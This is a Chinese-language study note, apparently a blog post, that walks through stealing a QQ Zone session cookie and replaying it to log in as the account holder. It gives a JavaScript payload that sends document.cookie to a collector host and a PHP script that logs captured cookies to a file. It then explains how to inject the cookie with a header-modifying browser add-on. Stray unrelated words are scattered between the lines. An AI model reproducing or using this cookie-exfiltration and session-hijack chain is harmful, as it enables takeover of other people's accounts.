这几天在学习cookies,便作了些笔记javascript
准备工具:一台电脑,火狐浏览器,modify headers插件;
一个Windows虚拟机,phpstudy。
文件:get_cookie_frt.js , get_cookie_bck.php(文件里的代码都在文末)php
在虚拟机里安装好phpstudy,并把上面的两个文件放在www目录下
java
.首先,随便一个浏览器登陆本身的QQ空间,并复制上面的网址
web
.而后f12,进入开发工具,在console里输入浏览器
document.location ="http://192.168.177.134/get_cookie_bck.php?cookie="+ document.cookie;
而后回车
(其中192.168.177.134是虚拟机的IP地址,get_cookie_bck.php是第二个文件的名字)
若是成功的话,浏览器界面会出现这个,其实也就是第二份文件里的输出内容
cookie
.此时,虚拟机里phpstudy中www目录下会新建一个log.txt文件
打开这个文件,把里面的内容复制下来
注意,有且仅有这一步在虚拟机里操做
svg
这时,在火狐浏览器里打开modify headers插件,name这里随便填,把虚拟机里phpstudy中www目录下出现的log.txt文件里的内容复制到value这一栏。工具
把第一步复制的网址粘贴到打开了modify headers插件的火狐浏览器上学习
点击一下头像,登陆成功。
开发工具
get_cookie_frt.js
<script>document.location ="http://192.168.177.134/get_cookie_bck.php?cookie="+ document.cookie;</script>
get_cookie_bck.php
<?php echo "获取凭证成功"; $cookies = $_GET['cookie']; $log =fopen("log.txt","a"); fwrite($log,$cookies."\n"); fclose($log); ?>
如何安装modify headers插件,点这里